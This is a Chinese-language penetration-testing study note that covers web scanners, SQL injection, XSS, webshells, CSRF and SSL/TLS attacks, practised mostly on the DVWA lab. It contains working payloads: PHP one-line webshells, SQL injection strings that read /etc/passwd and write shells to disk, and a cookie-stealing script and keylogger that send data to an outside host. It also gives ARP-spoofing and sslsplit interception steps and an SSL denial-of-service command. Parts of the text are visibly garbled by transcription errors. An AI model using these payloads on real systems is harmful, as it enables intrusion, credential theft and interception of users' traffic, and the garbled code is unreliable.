HTTP协议 明文: 无内建的机密性安全机制 嗅探或代理截断可查看全部明文信息 https只能提高传输层安全 无状态: 每一次客户端和服务器端的通信都是独立的过程 WEB应用需要跟踪客户端会话(多步通信) 不使用cookie的应用,客户端每次请求都要重新身份验证(不现实) Session用于在用户身份验证后跟踪用户行为轨迹: 提高用户体验,但增加了攻击向量
1 2 3 4 5 6 7 8 9 Cycle : 请求/响应 重要的header : Set-Cookie :服务器发给客户端的SessionID ( 被窃取的风险) Content-Length :响应body部分的字节长度 Location :重定向用户到另一个页面,可识别身份认证后允许访问的页面 Cookie :客户端发回给服务器证明用户状态的信息(头:值成对出现) Referrer :发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容 易被修改绕过
HTTP协议状态码 1 2 3 4 5 6 7 8 9 10 服务端响应的状态码表示响应的结果类型(5 大类50 多 个具体响应码) 100 s:服务器响应的信息,通常表示服务器还有后续处理,很少出现200 s:请求被服务器成功接受并处理后返回的响应结果300 s:重定向,通常在身份认证成功后重定向到一个安全页面(301 /302 )400 s:表示客户端请求错误 401 :需要身份验证 403 :拒绝访问 404 :目标未发现 500 s:服务器内部错误(503 : 服务不可用)http:
侦察 Httrack 使用Httrack去下载目标网站资源,减少与目标系统的交互
扫描工具 NIKTO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Perl语言开发的开源web安全扫描器 软件版本 搜索存在安全隐患的文件 服务器配置漏洞 插件: nikto -list-plugins nikto -update cirt.net nikto -host http://1.1.1.1 nikto -host 192.168.1.1 -ssl -port 443 -vhost Space - report current scan status v - verbose mode on/off #可视化扫描 d - debug mode on/off e - error reporting on/off p - progress reporting on/off r- redirect display on/off C - cookie display on/off a - auth display on/off q - quit N - next host P - Pause
vega 1 2 3 4 5 JAVA编写的开源Web扫描器: 扫描模式 代理模式 爬站、处理表单、注入测试 支持SSL : http:
skipfish 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 C语言编写 实验性的主动web安全评估工具 递归爬网 基于字典的探测 速度较快 多路单线程,全异步网络I/O,消除内存管理和调度开销 启发式自动内容识别 误报较低 skipfish -0 test http://1.1.1.1 skipfish -0 test @url.txt skipfish -0 test -S complet.wl -W a.wl http://1.1.1.1 #字典 -I :只检查包含string的URL -X :不检查包含string的URL #logout -K :不对指定参数进行Fuzz测试 # Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。 -D :跨站点爬另外一个域 #即扫描指定域名会跳转的域 -l :每秒最大请求数 -m :每IP最大并发连接数 --config :指定配置文件 身份认证: skipfish -A user:pass -0 test http://1.1.1.1 #以表单方式 skipfish -C "name=val" -0 test http://1.1.1.1 #以cookie方式 示例: sudo skipfish -o test1 -I /dvwa/ http://192.168.2.105/dvwa
尝试扫描dvwa靶场,结果如下
w3af 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Web Application Attack and Audit Framework,基于python语言开发 此框架的目标是帮助你发现和利用所有WEB应用程序漏洞 9大类近150个plugin audit(常用) infrastructure grep evasion mangle auth bruteforce output crawl(常用) 安装: cd ~ apt-get update apt-get install -y python-pip w3af pip install -upgrade pip git clone https://github.com/andresriancho/w3af.git cd w3af ./w3af_console ( ./w3af_ gui) apt-get build-dep python-lxml ./tmp/w3af_ dependency_ install.sh
Arachni 1 2 3 4 5 6 Kall自带了旧的arachni阉割版 安装 http://www.arachni-scanner.com/download/Linux tar xvf arachni.tar.gz http://localhost:9292/ admin@admin.admin / administrator
OWASP_ZAP 强大的主动扫描工具
1 2 3 4 5 6 7 8 在新版本kali中已经没有集成该工具,需要自行到官网下载 WEB Application集成渗透测试和漏洞挖掘工具 开源免费跨平台简单易用 截断代理 主动、被动扫描 Fuzzy、暴力破解 API - http:
阶段代理:首先在firefox浏览器配置OWASP的代理:ip+端口
扫描dvwa
Burpsuite 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 Web安全工具中的瑞士军刀 统一的集成工具发现全部现代WEB安全漏洞 PortSwigger公司开发 Burp Free Burp Professional http://www .portswigger.net 所有的工具共享一个能处理并显示HTTP消息的可扩展框架,模块之间无缝交 换信息。 Proxy: Options Invisible (主机头/多目标域名) # 即非浏览器客户端,不支持http代理时使用 CA (导入/导出) Intercept (入站 /出站) Response modify Target: #这里主要显示目标站点结构 Scope (logout) Filter Comparing site map Intruder: #侵入,使用各类字典、正则、生成器来匹配登录账号或密码 Position:#进行匹配替换的请求头 Payloads:#填充数据的方式 # 可以从Target入口找到目标站点,右键send到Intruder Repeater:#对指定页面进行request和查看response。同样可以通过send进入 Request History Change request method Change body encoding Copy as curl command Convert selection Repeater菜单 Engagement tools--generate csrf PoC Follow redirections Process cookies in redirections Sequencer: #分析cookie的随机性,含各种指标 分析程序中可预测的数据 Session cookies anti-CSRF tokens Start live capture Analyze (数据越多分析越准确) 伪随机数算法 Character-level Bit-level FIPS-美国联邦信息 处理标准(Federal Information Processingstandard)
手动漏洞挖掘 反弹shell 1 2 3 4 5 6 7 8 9 10 PHP反弹shell: /us/share/webshells/php/php-reverse-shell.php #kali自带的反弹木马 nc -lvp 4444 #监听弹回的shell File: Whereis lfconfig 写入webshell echo "<?php \$cmd= \$_ GET["'cmd";system(\$cmd);?>" > /var/www/3.php # 关于一句话反弹shell可以参考:https://zhuanlan.zhihu.com/p/30170345
会话sessionID 1 2 3 4 5 6 7 8 9 10 Xss / cookie importer SessionID in URL 嗅探 SessionID长期不变/永久不变 SessionID生成算法: Sequencer 私有算法 预判下- -次登陆时生成的SessionID 登出后返回测试 salt #加盐
文件上传漏洞 1 2 3 4 5 6 7 8 9 <?php echo shell_exec($_ GET['cmd']);?> 直接上传webshell 修改文件类型上传webshell Mimetype-文件头、 扩展名 # 使用burpsuite阶段代理,然后强制修改请求头(能过medium) # Mimetype会根据文件前10个字节判断文件类型,所以有时候修改后缀是无效的 # 对于high级别,可以修改文件名为xx.php.jpg。可以绕过文件后缀检测 # 一些严格检测会检测文件字节数据,判断文件类型。需要直接修改文件内容上传 # 一般会对上传文件目录设置只读权限
SQL注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏 览器 用户登录判断: SELECT * FROM users WHERE user= 'uname' AND password= ' pass' SELECT * FROM users WHERE user=‘name' AND password=" OR "=' 基于报错的检测方法(low) '"%( ) 基于布尔的检测 1' and '1'='1 / 1' and '1 1' and‘1'='2 / 1' and‘0 表列数/显示信息位于哪一列 'order by 9-- #按查询列号排序(注释符: -- ) select *时表字段数=查询字段数 联合查询 ' union select 1,2-- ' union all select database(),2-- 读取文件 ' union SELECT null, load_ file('/etc/passwd)--+ 写入文件 ' union select null,"<?php passthru($_ GET['cmd]); ?>" INTO DUMPFILE "/var/www/a.php" -+ Mysql账号 cat php-revers-shell.php | xxd -PS | tr-d ^\n' ' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'-- 保存下载数据库 ' union select null, concat(user,0x3a,password) from users INTOOUTFILE '/tmp/a.db-
SQL盲注 1 2 3 4 5 6 7 不显示数据库内建的报错信息 内建的报错信息帮助开发人员发现和修复问题 报错信息提供关于系统的大量有用信息 当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果,即盲注 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 1' and 1=1--+ 1' and 1=2--+
SQLMAP自动注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 开源sq|注入漏洞检测、利用工具 检测动态页面中get/post参数、cookie、 http头 数据榨取 文件系统访问 操作系统命令执行 引擎强大、特性丰富 Xss漏洞检测 五种漏洞检测技术 基于布尔的盲注检测 基于时间的盲注检测 'and (select * from (selectseel(0)))a)-+ 基于错误的检测 基于UNION联合查询的检测 适用于通过for循环直接输出联合查询结果,否则只显示第-项结果 基于堆叠查询的检测 堆叠多个查询语句 适用于非select的数据修改、删除的操作 支持的数据库管理系统DBMS MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase,SAP MaxDB Get方法 sqlmap -U "http://192.1 68.20.10/mutillidae/index.php?page=user- info.php&username= 1 1 &password=22&user-info-php-submit- button=View+Account+Details" -P username -f 扫描URL列表文件 http://1.1.1.1/vuIn1 .php?q=foobar http://1.1.1.1/vuln3/id/1* sqlmap. -m list.txt 扫描google搜索结果 sqlmap.py -g "inud:\".php?id=1\" POST方法 使用http请求文件(burpsuite ) sqlmap 1 request.txt 使用burpsuite log文件 sqlmap 1 log.txt HTTPS sqlmap -U "https://1.1.1.1 /a,php?id= 1:8843" --force-ss 扫描配置文件 sqlmap -C sqlmap.conf 数据段: --data get / post都适用 sqlmap -U "http://1.1.1.1/a.php" -data="user= l&pass=2" -f 变量分隔符: -param-del http://1.1.1.l/a.php?q=foo;id=1 // ; & sqlmap -U "http://1.1.1.1 /a.php" -data="q=foo;id=1" -param-del="," -f cookie头: --cookie web应用需要基于cookie的身份认证 # 检查cookie中的注入点(sqlmap自动测试),需要--level = 2级才会检测 Set-Cookie / -drop-set-cookie -user-agent: sqlmap/1.0-dex-0xxxx (http://sqlmap.org) --random-agent #sqlmap的useragent很容易被服务器过滤掉,因此需要伪造成浏览器的 /usr/share/sqlmap/txt/user-agents.txt sqlmap检查user-agent中的注入点: #Level>= 3 APP/WAF/IPS/IDS过滤异常user-agent时报错 [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option ser agent or --random-agent Host头: --host # Level =5 Referer头: -referrer # Level >=3 额外的header: --headers 每个头单独一行(名称区分大小写) sqlmap. -∪"http://l.1.1.1/a.php?id=1" - headers=' "host:www.a.com\nUser-Agent:yuanfh" --method=GET/POST --skip-urlencode 默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使 用原始字符提交数据 --keep-alive 使用http(s)长连接,性能好 与--proxy参数不兼容 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源 --tamper 混淆脚本,用于绕过应用层过滤、IPS、 WAF sqlmap -U "http://1.1.1.1/a.php?id=1" -- tamper=" tamper/between.py.tamper/randomcase.py.tamper/space2c omment.py"-v 3 Mysql< 5.0 ,没有information schema 库 Mysql> = 5.0,但无权读取information. schema库 微软的access数据库, 默认无权读取MSysObjects库 --common-tables #对数据库表进行暴力破解(跑字典) --common-columns #暴力破解数据库列 (Access系统表无列信息)
XSS XSS攻击分为反射型,DOM型和持久型,持久性是注入到目标服务器,反射型是引诱用户点击跨站脚本;基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 攻击WEB客户端 客户端脚本语言 弹窗告警、广告 Javascript 在浏览器中执行 XSS (cross-site scripting) 通过WEB站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的 注入客户端脚本代码 盗取cookie、 重定向 VBScript, ActiveX, or Flash JavaScript 与Java语言无关 命名完全出于市场原因 使用最广的客户端脚本语言 使用场景 直接嵌入html: <script > alert('XSS' ); </script > 元素标签事件: <body onload =alert( 'XSS ')> 图片标签: <img src ="avascript:alert('XSS');" > 其他标签: <iframe > , <div > , and <link > DOM对象,篡改页面内容 窃取cookie <script src =http://1.1.1.1/a.js > </script > a.js源码 var img = new Image(); img.src = "http://1.1.1.1/cookies ,php?cookie="+ document.cookie;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #攻击代码 #Keylogger.js document .onkeypress = function (evt ) { evt= evt || window .event key = String .fromCharCode(evt.charCode) if (key) { var http = new XMLHttpRequest(); var param = encodeURl(key) http,open("PST," http: http.setRequestHeader'"Content-type","application/x-www-form-urlencoded"), http.send("key="+param); } } #接收端 #Keylogger.php <?php $key=$POST[' key']; $logfile="keylog.txt"; $fp = fopen($logfile, "a"); fwrite($fp, $key); fclose($fp); ?> #引入XSS脚本到浏览器 <script src="http://1.1.1.1/keylogger.js"></script> #点击下面的页面会跳转到初始网页,并开始记录键盘 <a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script src=' http:
反射型XSS和Xsser工具 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Xsser 命令行/图形化工具 绕过服务器端输入筛选 10进制/ 16进制编码 unescape() xsser -u "http://1.1.1.1/dvwa/vuInerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=d23e469411707ff8210717e67c521a81" -s -v --reverse-check # -u代表url,-g代表get请求, -s代表请求次数统计, -v可视化,--reverse-check连接本机测试 -heuristic #检查被过滤的字符 # 对payload编码,绕过服务器端筛选过滤 -Str Use method String.FromCharCode() -Une Use Unescape() function -Mix Mix String.FromCharCode() and Unescape() -Dec Use Decimal encoding -Hex Use Hexadecimal encoding -Hes Use Hexadecimal encoding, with semicolons -Dwo Encode vectors iIP addresses in DWORD -Doo Encode vectors IP addresses in Octal -Cem=CEM Try-manually- different Character Encoding Mutatiohs (reverse obfuscation: good) -> (ex: 'Mix,Une,Str.Hex')
针对DVWA high安全级别进行XSS攻击,发现是无法攻击的
1 2 3 4 5 xsser -U "http://1.1.1.1/dwwa/vuInerabilities/" -g "xss_ r/?name=" - cookie="security=high; PHPSESSID=d23e46941 1707f82107 17e67c521q817 -Cem=' Mix,Une,Str.Hex' # ## 例如:< > 转换成 < >
存储型XSS 1 2 3 4 5 6 7 8 9 存储型XSS 长期存储于服务器端 每次用户访问都会被执行javascript脚本 Name: # 一般客户端表单会有长度限制 # 可以通过客户端修改html代码或者截断代理突破限制 <script src=http: a.js源码: var img = new Image(); img.src = "http://1.1.1.1:88/cookies.php?cookie=" +document .cookie;
BEEF 浏览器漏洞利用框架
1 2 3 4 5 6 7 8 9 10 浏览器攻击面 应用普遍转移到B / S架构,浏览器成为统一客户端程序 结合社会,工程学方法对浏览器进行攻击 攻击浏览器用户 通过注,入的JS脚本,利用浏览器攻击其他网站 BeEF (Browser exploitation framework ) 生成、交付payload Ruby语言编写 服务器端:管理hooked客户端 客户端:运行于客户端浏览器的Javascript脚本(hook )
CSRF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Cross site request forgery #跨站请求伪造 与XSS经常混淆 从信任的角度来区分 XSS:利用用户对站点的信任 CSRF:利用站点对已经身份认证的信任 结合社工在身份认证会话过程中实现攻击 修改账号密码、个人信息(email、 收货地址) 发送伪造的业务请求(网银、购物、投票) 关注他人社交账号、推送博文 在用户非自愿、不知情的情况下提交请求 # DVWA低安全级别不会对修改密码过程进行确认验证 # 中安全级别会检测请求的跳转来源(refer字段) # 高安全级别会首先验证旧密码 # burpsuite能够根据get请求自动生产对应的CSRF post请求 防御对策: 在请求和响应过程中检查是否存在anti-CSRF token名 检查服务器是否验证anti-CSRF token的名值 检查token中可编辑的字符串 检查referrer头是否可以伪造 Captcha anti-CSRF token Referrer头 降低会话超时时间
WEBSHELL 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php echo shell exec($_ GET['cmd']);?> #一句话shell 中国菜刀: http://www.maicaidao.co/ 可能被IDS、AV、WAF、扫描器软件发现查杀 WeBaCoo (Web Backdoor Cookie) 类终端的shell 编码通信内容通过cookie头传输,隐蔽性较强 cm:base64编码的命令 cn:服务器用于返回数据的cookie头的名 cp:返回信息定界符 生成服务端 webacoo -g -o a.php 客户端连接 webacoo -t -U http://1.1.1.1/a.php Weevely: 隐蔽的类终端PHP Webshell 30多个管理模块 执行系统命令、浏览文件系统 检查服务器常见配置错误 创建正向、反向TCP Shell连接 通过目标计算机代理HTTP流量 从目标计算机运行端C ]扫描,渗透内网 支持连接密码
上面的工具在新版本kali已经不再提供;最新的webshell检测工具可以参照:https://www.cnblogs.com/xiaozi/p/12679777.html
HTTPS攻击 HTTPS存在多种实现的协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 全站HTTPS正成为潮流趋势 淘宝、百度 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改、窃取 加密:对称、非对称、单向 HTTPS攻击方法 降级攻击 解密攻击(明文、证书伪造) 协议漏洞、实现方法的漏洞、配置不严格 Secure socket layer #安全套接字协议 保证网络通信安全的加密协议 1994 年由Netscape开发成为统一标准 1999 年TLS(transport layer security)取代SSLv3 近年来发现的SSL协议漏洞使业界认为其漏洞已不可软件修复 Heartbleed POODLE BEAST TLS当前最新版本1.2 #传输层安全协议 TLS/SSL、HTTPS、 HTTP over SSL通俗上表示同意含义 非对称加密算法 #一般用来加密交换密钥 Diffie Hellman key exchange Rivest Shamir Adleman (RSA) lliptic Curve Cryptography (ECC) 对称加密算法 Data Encryption Standard (DES) / 3 DES Advance Encryption Standard (AES) #主流 International Data Encryption Algorithm (IDEA) Rivest Cipher 4 (RC4) WEP、TLS/SSL、 RDP、 Secure shell 单向加密算法(HASH) HASH算法 HASH值长度(bit) ------------------------------------- MD5 128 SHA-1 160 SHA-2 224 、256 、 384 、512 -------------------------------------- SHA-3 已经设计完成,但尚末广泛使用 SHA-2 是TLS 1.2 唯一支持的单向加密算法 碰撞攻击针对单向加密算法 两个不同的文件生成相同的HASH值 SSL的弱点 SSL是不同的对称、非对称、单向加密算法的组合加密实现(cipher suite) 加密算法 SSL实现中的用途 -------------------------------------------------------- RAS / Diffie-Hellman 密钥交换、身份认证 AES 加密数据,由RAS/DH完成密钥交换 HMAC-SHA2 摘要信息 -------------------------------------------------------- 服务器端为提供更好的兼容性,选择支持大量过时cipher suite 协商过程中强迫降级加密强度 现代处理器计算能力可以在可接受的时间内破解过时加密算法 购买云计算资源破解
OpenSSL 1 2 3 4 5 6 7 8 9 10 11 Openssl 直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite openssl S_ client -connect www.baudu.com:443 openssl s_ client -tls1_2 -cipher 'ECDH-RSA-RC4 SHA' -connect www.taobao.com:443 密钥交换-身份认证-数据加密-HASH算法 openssls_ client -tls1_ 2 -cipher "NULL, EXPORT,LOW,DES" -connect www.taobao.com:443 (协商低安全级别cipher suite) 可被破解的cipher suite openssI ciphers -V "NULL, EXPORT,LOW,DES" https://www. openssl.org/docs/ apps/ciphers.html
SSLyze 1 2 3 4 5 6 7 8 9 10 SSLyze Python语言编写 检查SSL过时版本 检查存在弱点的cipher suite 扫描多站点时,支持来源文件 检查是否支持会话恢复 sslyze --regular www.taobao.com:443 Nmap nmap --script=ssl-enum-ciphers.nse www.taobao.com # ssl查询网站 https://www.sllabs.com/ssltest/
SSL/TLS中间人攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 SSLsplit 透明SSL/TLS中间人攻击工具 对客户端伪装成服务器,对服务器伪装成普通客户端 伪装服务器需要伪造证书 支持SSL/TLS加密的SMTP、POP3、 FTP等通信中间人攻击 利用openssl生成证书私钥 openssl genrsa -out ca.key 2048 利用私钥签名伪造根证书 openssl req -new -x509 -days 1096 -key ca.key -out ca.crt #-x509国际标准 启动操作系统的路由功能 sysctl -w net.ipv4.ip_forward=1 Iptables端口转发规则 iptables -t nat -F #清空所有规则 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMABS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S iptables -t nat -L #查看所有规则 Arp欺骗 arpspoof -i ethO -t 1.1.1.2 -r 1.1.1.1 启动SSLsplit mkdir -p test/logdir sslsplit -D -l connect.log -j /root/test -S logdir/ -K ca.key -C ca.crt -ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 被害者访问taobao、baidu、 mail.163.com 查看日志和浏览器证书及证书报错信息 安装服务器跟证节之后再次访问 # #
SSL/TLS拒绝服务攻击 1 2 3 4 5 6 7 8 9 10 11 thc-ssl-dos SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务 利用SSL secure Renegotiation特性,在单- :TCP连接中生成数千个SSL重连接请 求,造成服务器资源过载 与流量式拒绝服务攻击不同,the ssI-dos可以利用dsI线路打垮30G带宽的服务器 服务器平均可以处理300次/秒SSL握手请求 对SMTPS、POP3S等 服务同样有效 thc-ssl-dos 199.223.209.205 2083 --accept 对策 禁用SSL Renegotiation(重协商)、使用SSL Accelerator 通过修改thc-ssl-dos代码,可以绕过以上对策
补充:关于AJAX和WEB Service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 AJAX对渗透测试的挑战 异步请求数量多且隐蔽 触发AJAX请求的条件无规律 手动和截断代理爬网可能产生大量遗漏 AJAX爬网工具 ZAP 客户端代码审计 源码 Firebug WEB Service 面向服务的架构(service oriented architecture )便于不同系统集成共享数据 和功能 尤其适合不想暴漏数据模型和程序逻辑而访问数据的场景 无页面 两种类型的WEB Service Simple object access protocol (SOAP) 传统的Web service开发方法,xml是唯一 -的数据交换格式 要求安全性的应用更多采用 RESTful (Representational State Transfer architecture REST) 目前更多被采用的轻量web service, JSON 是 首选数据交换格式 WEB Service安全考虑 使用API key或session token实现和跟踪身份认证 身份认证由服务器完成,而非客户端 APIkey、用户名、Session token永远不要通过URL发送 RESTful默认不提供任何安全机制,需要使用SSL/TLS保护传输数据安全 SOAP提供强于HTTPS的WS-security机制 使用OAuth或HMAC进行身份验证,HMAC身份认证使用C/S共享的密钥加密 API KEY RESTful应只允许身份认证用户使用PUT、DELETE方法 使用随机token防止CSRT攻击 WEB Service安全考虑 对用户提交参数过滤,建议布署基于严格白名单的方法 报错信息消毒 直接对象引用应严格身份验证(点上公司以ID作为主索引)